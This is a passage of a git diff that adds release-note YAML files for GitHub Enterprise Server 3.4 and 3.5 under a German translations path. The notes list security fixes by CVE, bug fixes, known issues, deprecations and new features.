+    - Resolved a regression that could lead to consistent failures to retrieve artifacts and download log archives for {% data variables.product.prodname_actions %}. In some circumstances we stopped resolving URLs for internal communications that used `localhost`, and instead incorrectly used the instance hostname. 
+    - When a manifest file was deleted from a repository, the manifest would not be removed from the repository's "Dependency graph" page. 
+    - Upgrading the nodes in a high availability pair with an upgrade package could cause Elasticsearch to enter an inconsistent state in some cases. 
+    - Rotated log files with the extension `.backup` would accumulate in directories containing system logs.
+    - In some cluster topologies, the command line utilities `ghe-spokesctl` and `ghe-btop` failed to run.
+    - Elasticsearch indices could be duplicated during a package upgrade, due to an `elasticsearch-upgrade` service running multiple times in parallel. 
+    - Repository cache servers could serve data from non-cache locations even when the data was available in the local cache location.
+    - When converting a user account to an organization, if the user account was an owner of the {% data variables.product.prodname_ghe_server %} enterprise account, the converted organization would incorrectly appear in the enterprise owner list. 
+    - The `/stafftools/users/ip_addresses/:address` page responded with a `500 Internal Server Error` when attempting to display the page for an IPv6 address. 
+    - Creating an impersonation OAuth token using the Enterprise Administration REST API resulted in an error when an integration matching the OAuth Application ID already existed. 
+ 
+  changes:
+    - Added support for replica domain names that are more than 63 characters. 
+    - Configuration errors that halt a config apply run are now output to the terminal in addition to the configuration log. 
+    - If {% data variables.product.prodname_GH_advanced_security %} features are enabled on your instance, the performance of background jobs has improved when processing batches for repository contributions.
+
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
+  deprecations:
+    - heading: Deprecation of GitHub Enterprise Server 3.0
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.0 was discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+    - heading: Deprecation of GitHub Enterprise Server 3.1
+      notes:
+        - '**{% data variables.product.prodname_ghe_server %} 3.1 will be discontinued on June 3, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.4/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.'
+
+    - heading: Deprecation of XenServer Hypervisor support
+      notes:
+        # https://github.com/github/docs-content/issues/4439
+        - Starting in {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer was deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.
+
+    - heading: Deprecation of the Content Attachments API preview
+      notes:
+        #
+        - Due to low usage, we have deprecated the Content References API preview in {% data variables.product.prodname_ghe_server %} 3.4. The API was previously accessible with the `corsair-preview` header. Users can continue to navigate to external URLs without this API. Any registered usages of the Content References API will no longer receive a webhook notification for URLs from your registered domain(s) and we no longer return valid response codes for attempted updates to existing content attachments.
+
+    - heading: Deprecation of the Codes of Conduct API preview
+      notes:
+        # https://github.com/github/releases/issues/1708
+        - 'The Codes of Conduct API preview, which was accessible with the `scarlet-witch-preview` header, is deprecated and no longer accessible in {% data variables.product.prodname_ghe_server %} 3.4. We instead recommend using the "[Get community profile metrics](/rest/reference/repos#get-community-profile-metrics)" endpoint to retrieve information about a repository''s code of conduct. For more information, see the "[Deprecation Notice: Codes of Conduct API preview](https://github.blog/changelog/2021-10-06-deprecation-notice-codes-of-conduct-api-preview/)" in the {% data variables.product.prodname_dotcom %} changelog.'
+
+    - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters
+      notes:
+        # https://github.com/github/releases/issues/1316
+        - |
+          Starting with {% data variables.product.prodname_ghe_server %} 3.4, the [deprecated version of the OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#endpoints-affected) have been removed. If you encounter 404 error messages on these endpoints, convert your code to the versions of the OAuth Application API that do not have `access_tokens` in the URL. We've also disabled the use of API authentication using query parameters. We instead recommend using [API authentication in the request header](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make).
+
+    - heading: Deprecation of the CodeQL runner
+      notes:
+        # https://github.com/github/releases/issues/1632
+        - The {% data variables.product.prodname_codeql %} runner is deprecated in {% data variables.product.prodname_ghe_server %} 3.4 and is no longer supported. The deprecation only affects users who use {% data variables.product.prodname_codeql %} code scanning in third party CI/CD systems; {% data variables.product.prodname_actions %} users are not affected. We strongly recommend that customers migrate to the {% data variables.product.prodname_codeql %} CLI, which is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).
+
+    - heading: Deprecation of custom bit-cache extensions
+      notes:
+        # https://github.com/github/releases/issues/1415
+        - |
+          Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are deprecated in {% data variables.product.prodname_ghe_server %} 3.3 onwards.
+
+          Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated.
+
+          Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.
+
+          To start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the Schedule button.
+    
+    - heading: Theme picker for GitHub Pages has been removed
+      notes:
+        - |
+          The theme picker for GitHub Pages has been removed from the Pages settings. For more information about configuration of themes for GitHub Pages, see "[Adding a theme to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+        
+  backups:
+    - '{% data variables.product.prodname_ghe_server %} 3.4 requires at least [GitHub Enterprise Backup Utilities 3.4.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/3.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/3.yml
new file mode 100644
index 0000000000..a15e8170ba
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/3.yml
@@ -0,0 +1,40 @@
+date: '2022-05-17'
+sections:
+  security_fixes:
+    - '**MEDIUM:** A security issue in nginx resolver was identified, where an attacker who could forge UDP packets from the DNS server could cause 1-byte memory overwrite, resulting in worker process crashes or other potentially damaging impacts. The vulnerability has been assigned [CVE-2021-23017](https://nvd.nist.gov/vuln/detail/CVE-2021-23017).'
+    - Updated the `actions/checkout@v2` and `actions/checkout@v3` actions to address new vulnerabilities announced in the [Git security enforcement blog post](https://github.blog/2022-04-12-git-security-vulnerability-announced/).
+    - Packages have been updated to the latest security versions.
+  bugs:
+    - In some cluster topologies, the `ghe-cluster-status` command left behind empty directories in `/tmp`.
+    - SNMP incorrectly logged a high number of `Cannot statfs` error messages to syslog.
+    - When adding custom patterns and providing non-UTF8 test strings, match highlighting was incorrect.
+    - LDAP users with an underscore character (`_`) in their user names can now login successfully.
+    - For instances configured with SAML authentication and built-in fallback enabled, built-in users would get stuck in a “login” loop when attempting to sign in from the page generated after logging out.
+    - After enabling SAML encrypted assertions with Azure as identity provider, the sign in page would fail with a `500` error.
+    - Character key shortcut preferences weren't respected.
+    - Attempts to view the `git fsck` output from the `/stafftools/repositories/:owner/:repo/disk` page would fail with a `500 Internal Server Error`.
+    - When using SAML encrypted assertions, some assertions were not correctly marking SSH keys as verified.
+    - Videos uploaded to issue comments would not be rendered properly.
+    - When using GitHub Enterprise Importer to import a repository, some issues would fail to import due to incorrectly configured project timeline events.
+    - When using `ghe-migrator`, a migration would fail to import video file attachments in issues and pull requests.
+    - 'The Releases page would return a 500 error when the repository has tags that contain non-ASCII characters. [Updated: 2022-06-10]'
+    - 'Upgrades would sometimes fail while migrating dependency graph data. [Updated: 2022-06-30]'
+  changes:
+    - In high availability configurations, clarify that the replication overview page in the Management Console only displays the current replication configuration, not the current replication status.
+    - The Nomad allocation timeout for Dependency Graph has been increased to ensure post-upgrade migrations can complete.
+    - When enabling {% data variables.product.prodname_registry %}, clarify that using a Shared Access Signature (SAS) token as connection string is not currently supported.
+    - Support bundles now include the row count of tables stored in MySQL.
+    - When determining which repository networks to schedule maintenance on, we no longer count the size of unreachable objects.
+    - The `run_started_at` response field is now included in the [Workflow runs API](/rest/actions/workflow-runs) and the `workflow_run` event webhook payload.
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4 releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
\ No newline at end of file
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/4.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/4.yml
new file mode 100644
index 0000000000..ebf7d67692
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/4.yml
@@ -0,0 +1,31 @@
+date: '2022-06-09'
+sections:
+  security_fixes:
+    - Packages have been updated to the latest security versions. 
+  bugs:
+    - An internal script to validate hostnames in the {% data variables.product.prodname_ghe_server %} configuration file would return an error if the hostname string started with a "." (period character).
+    - In HA configurations where the primary node's hostname was longer than 60 characters, MySQL would fail to be configured.
+    - When {% data variables.product.prodname_actions %} was enabled but TLS was disabled on {% data variables.product.prodname_ghe_server %} 3.4.1 and later, applying a configuration update would fail.
+    - The `--gateway` argument was added to the `ghe-setup-network` command, to allow passing the gateway address when configuring network settings using the command line.
+    - The [{% data variables.product.prodname_GH_advanced_security %} billing API](/rest/enterprise-admin/billing#get-github-advanced-security-active-committers-for-an-enterprise) endpoints were not enabled and accessible.
+    - Image attachments that were deleted would return a `500 Internal Server Error` instead of a `404 Not Found` error.
+    - In environments configured with a repository cache server, the `ghe-repl-status` command incorrectly showed gists as being under-replicated. 
+    - The "Get a commit" and "Compare two commits" endpoints in the [Commit API](/rest/commits/commits) would return a `500` error if a file path in the diff contained an encoded and escaped unicode character.
+    - The calculation of "maximum committers across entire instance" reported in the site admin dashboard was incorrect.
+    - An incorrect database entry for repository replicas caused database corruption when performing a restore using {% data variables.product.prodname_enterprise_backup_utilities %}.
+    - The activity timeline for secret scanning alerts wasn't displayed.
+  changes:
+    - Optimised the inclusion of metrics when generating a cluster support bundle. 
+    - In HA configurations where Elasticsearch reported a valid yellow status, changes introduced in a previous fix would block the `ghe-repl-stop` command and not allow replication to be stopped. Using `ghe-repo-stop --force` will now force Elasticsearch to stop when the service is in a normal or valid yellow status.
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
\ No newline at end of file
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/5.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/5.yml
new file mode 100644
index 0000000000..f72408ff77
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/5.yml
@@ -0,0 +1,30 @@
+date: '2022-06-28'
+sections:
+  security_fixes:
+    - "**MEDIUM**: Prevents an attack where an `org` query string parameter can be specified for a GitHub Enterprise Server URL that then gives access to another organization's active committers."
+    - "**MEDIUM**: Ensures that `github.company.com` and `github-company.com` are not evaluated by internal services as identical hostnames, preventing a potential server-side security forgery (SSRF) attack."
+    - "**LOW**: An attacker could access the Management Console with a path traversal attack via HTTP even if external firewall rules blocked HTTP access."
+    - Packages have been updated to the latest security versions.
+  bugs:
+    - Files inside an artifact archive were unable to be opened after decompression due to restrictive permissions.
+    - Redis timeouts no longer halt database migrations while running `ghe-config-apply`.
+    - Background job processors would get stuck in a partially shut-down state, resulting in certain kinds of background jobs (like code scanning) appearing stuck.
+    - In some cases, site administrators were not automatically added as enterprise owners.
+    - A rendering issue could affect the dropdown list for filtering secret scanning alerts in a repository.
+  changes:
+    - Improved the performance of Dependabot version updates after first enabled.
+    - The GitHub Pages build and synchronization timeouts are now configurable in the Management Console.
+    - Creating or updating check runs or check suites could return `500 Internal Server Error` if the value for certain fields, like the name, was too long.
+    - When [deploying cache-server nodes](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache#configuring-a-repository-cache), it is now mandatory to describe the datacenter topology (using the `--datacenter` argument) for every node in the system. This requirement prevents situations where leaving datacenter membership set to "default" leads to workloads being inappropriately balanced across multiple datacenters.
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration.
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
\ No newline at end of file
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/6.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/6.yml
new file mode 100644
index 0000000000..c1f8fa7628
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/6.yml
@@ -0,0 +1,34 @@
+date: '2022-07-21'
+sections:
+  security_fixes:
+    - "**MEDIUM**: Prevents an attack where a server-side request forgery (SSRF) could potentially force the Subversion (SVN) bridge to execute remote code by injecting arbitrary data into Memcached." 
+    - "**MEDIUM**: Prevents an attacker from executing Javascript code by exploiting a cross-site scripting (XSS) vulnerability in dropdown UI elements within the GitHub Enterprise Server web interface." 
+    - Updates Grafana to version 7.5.16, which addresses various security vulnerabilities including [CVE-2020-13379](https://github.com/advisories/GHSA-wc9w-wvq2-ffm9) and [CVE-2022-21702](https://github.com/grafana/grafana/security/advisories/GHSA-xc3p-28hw-q24g). 
+    - Packages have been updated to the latest security versions.
+    - "**MEDIUM**: A stored XSS vulnerability was identified in GitHub Enterprise Server that allowed the injection of arbitrary attributes. This injection was blocked by Github's Content Security Policy (CSP). This vulnerability was reported via the GitHub Bug Bounty program and has been assigned [CVE-2022-23733](https://www.cve.org/CVERecord?id=CVE-2022-23733).  [Updated: 2022-07-31]"
+    - "**MEDIUM**: A vulnerability involving deserialization of untrusted data was identified in GitHub Enterprise Server that could potentially lead to remote code execution on the Subversion (SVN) bridge. To exploit this vulnerability, an attacker would need to gain access via a server-side request forgery (SSRF) that would let an attacker control the data being deserialized. This vulnerability was reported via the GitHub Bug Bounty program and has been assigned [CVE-2022-23734](https://www.cve.org/CVERecord?id=CVE-2022-23734)."
+  bugs:
+    - In some cases, the collectd daemon could consume excess memory. 
+    - In some cases, backups of rotated log files could accumulate and consume excess storage. 
+    - After an upgrade to a new feature release and subsequent configuration run, Elasticsearch could log excessive exceptions while rebuilding indices. 
+    - In some cases where a protected branch required more than one approving review, a pull request could be merged with fewer than the required number of approving reviews. 
+    - On instances using LDAP authentication, the authentication prompt for sudo mode incorrectly placed the cursor within the password field by default when text fields for both a username and password were visible. 
+    - In some cases, scheduled GitHub Actions workflows could become disabled.
+    - The Billing API's "[Get GitHub Advanced Security active committers for an organization](/rest/billing#get-github-advanced-security-active-committers-for-an-organization)" endpoint now returns `Link` headers to provide information about pagination. 
+    - The Billing API's "[Get GitHub Advanced Security active committers for an organization](/rest/billing#get-github-advanced-security-active-committers-for-an-organization)" endpoint now returns the correct number of total committers. 
+  changes:
+    - The `ghe-set-password` command-line utility starts required services automatically when the instance is booted in recovery mode. 
+    - Metrics for `aqueduct` background processes are gathered for Collectd forwarding and display in the Management Console. 
+    - The location of the database migration and configuration run log, `/data/user/common/ghe-config.log`, is now displayed on the page that details a migration in progress. 
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/7.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/7.yml
new file mode 100644
index 0000000000..080d90353b
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/7.yml
@@ -0,0 +1,26 @@
+date: '2022-08-11'
+sections:
+  security_fixes:
+    - |
+      **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf).
+    - |
+      **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com).
+  bugs:
+    - In some cases, GitHub Enterprise Server instances on AWS that used the `r4.4xlarge` instance type would fail to boot.
+    - When calculating committers for GitHub Advanced Security, it was not possible to specify individual repositories. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)." 
+    - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)."
+  changes:
+    - '`pre_receive_hook.rejected_push` events were not displayed in the enterprise audit log.'
+    - Both migration archives for repositories and archive exports for user accounts include release reactions.
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-4/8.yml b/translations/de-DE/data/release-notes/enterprise-server/3-4/8.yml
new file mode 100644
index 0000000000..6353897f97
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-4/8.yml
@@ -0,0 +1,26 @@
+date: '2022-08-30'
+sections:
+  bugs:
+    - After unlocking a repository for temporary access, a site administrator was unable to manage settings for security products in the repository. 
+    - Duplicate administrative SSH keys could appear in both the Management Console and the `/home/admin/.ssh/authorized_keys` file.
+    - The site admin page for individual users at <code>http(s)://<em>HOSTNAME</em>/stafftools/users/<em>USERNAME</em>/admin</code> contained functionality not intended for GitHub Enterprise Server.  
+    - In some cases, running `ghe-cluster-config-apply` could replicate an empty configuration to existing nodes in a cluster. 
+    - In some cases, configuration runs started with `ghe-config-apply` did not complete, or returned a `Container count mismatch` error. 
+    - After updating a self-signed TLS certificate on a GitHub Enterprise Server instance, UI elements on some pages in the web interface did not appear. 
+    - In some cases, background tasks could stall due to a library that was used concurrently despite not being thread-safe.
+  changes:
+    - Generation of support bundles is faster as a result of parallelized log sanitization. For more information about support bundles, see "[Providing data to GitHub Support](/support/contacting-github-support/providing-data-to-github-support)."
+    - APIs that contain the `organization` or `org` route now accept either the organization's slug or ID. Previously, the APIs only accepted slugs, which caused `Link` headers for GitHub Advanced Security endpoints to be inaccessible. For more information, see "[Organizations](https://docs.github.com/rest/orgs/orgs)" in the REST API documentation. 
+    - The enterprise audit log now includes more user-generated events, such as `project.create`. The REST API also returns additional user-generated events, such as `repo.create`. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)" and "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise#querying-the-audit-log-rest-api)."
+  known_issues:
+    - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user.
+    - Custom firewall rules are removed during the upgrade process.
+    - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository.
+    - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters.
+    - When "Users can search GitHub.com" is enabled with {% data variables.product.prodname_github_connect %}, issues in private and internal repositories are not included in {% data variables.product.prodname_dotcom_the_website %} search results.
+    - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues.
+    - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail.
+    - |
+      After registering a self-hosted runner with the `--ephemeral` parameter on more than one level (for example, both enterprise and organization), the runner may get stuck in an idle state and require re-registration. [Updated: 2022-06-17]
+    - After upgrading to {% data variables.product.prodname_ghe_server %} 3.4, releases may appear to be missing from repositories. This can occur when the required Elasticsearch index migrations have not successfully completed.
+    - '{% data reusables.release-notes.ghas-3.4-secret-scanning-known-issue %}'
diff --git a/translations/de-DE/data/release-notes/enterprise-server/3-5/0-rc1.yml b/translations/de-DE/data/release-notes/enterprise-server/3-5/0-rc1.yml
new file mode 100644
index 0000000000..527354bda7
--- /dev/null
+++ b/translations/de-DE/data/release-notes/enterprise-server/3-5/0-rc1.yml
@@ -0,0 +1,421 @@
+date: '2022-05-10'
+release_candidate: true
+deprecated: true
+intro: |
+  {% note %}
+
+  **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments.
+
+  {% endnote %}
+
+  For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."
+sections:
+  features:
+    - heading: IP exception list for validation testing after maintenance
+      notes:
+        # https://github.com/github/releases/issues/2109
+        - |
+          You can now configure an allow list of IP addresses that can access application services on your GitHub Enterprise Server instance while maintenance mode is enabled. Administrators who visit the instance's web interface from an allowed IP address can validate the instance's functionality post-maintenance and before disabling maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)."
+
+    - heading: Custom repository roles are generally available
+      notes:
+        # https://github.com/github/releases/issues/1945
+        - |
+          With custom repository roles, organizations now have more granular control over the repository access permissions they can grant to users. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)."
+
+          A custom repository role is created by an organization owner, and is available across all repositories in that organization. Each role can be given a custom name, and a description. It can be configured from a set of over 40 fine grained permissions. Once created, repository admins can assign a custom role to any user, team or outside collaborator in their repository.
+
+          Custom repository roles can be created, viewed, edited and deleted via the new **Repository roles** tab in an organization's settings. A maximum of 3 custom roles can be created within an organization. 
+
+          Custom repository roles are also fully supported in the GitHub Enterprise Server REST APIs. The Organizations API can be used to list all custom repository roles in an organization, and the existing APIs for granting repository access to individuals and teams have been extended to support custom repository roles. For more information, see "[Organizations](/rest/reference/orgs#list-custom-repository-roles-in-an-organization)" in the REST API documentation.
+
+    - heading: GitHub Container registry in public beta 
+      notes: 
+        # https://github.com/github/releases/issues/2005
+         - |
+           The GitHub Container registry (GHCR) is now available in GitHub Enterprise Server 3.5 as a public beta, offering developers the ability to publish, download, and manage containers. GitHub Packages container support implements the OCI standards for hosting Docker images. For more information, see "[GitHub Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
+    
+    - heading: Dependabot updates are generally available
+      notes:
+       # https://github.com/github/releases/issues/2089
+        - |
+          Dependabot version and security updates are now generally available in GitHub Enterprise Server 3.5. All the popular ecosystems and features that work on GitHub.com repositories now can be set up on your GitHub Enterprise Server instance. Dependabot on GitHub Enterprise Server requires GitHub Actions and a pool of self-hosted Dependabot runners, GitHub Connect enabled, and Dependabot enabled by an admin. For more information, see "[Setting up Dependabot updates](https://docs.github.com/en/enterprise-server@3.5/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)."
+
+
+
+    - heading: Server Statistics in public beta
+      notes:
+        # https://github.com/github/releases/issues/2183
+        - |
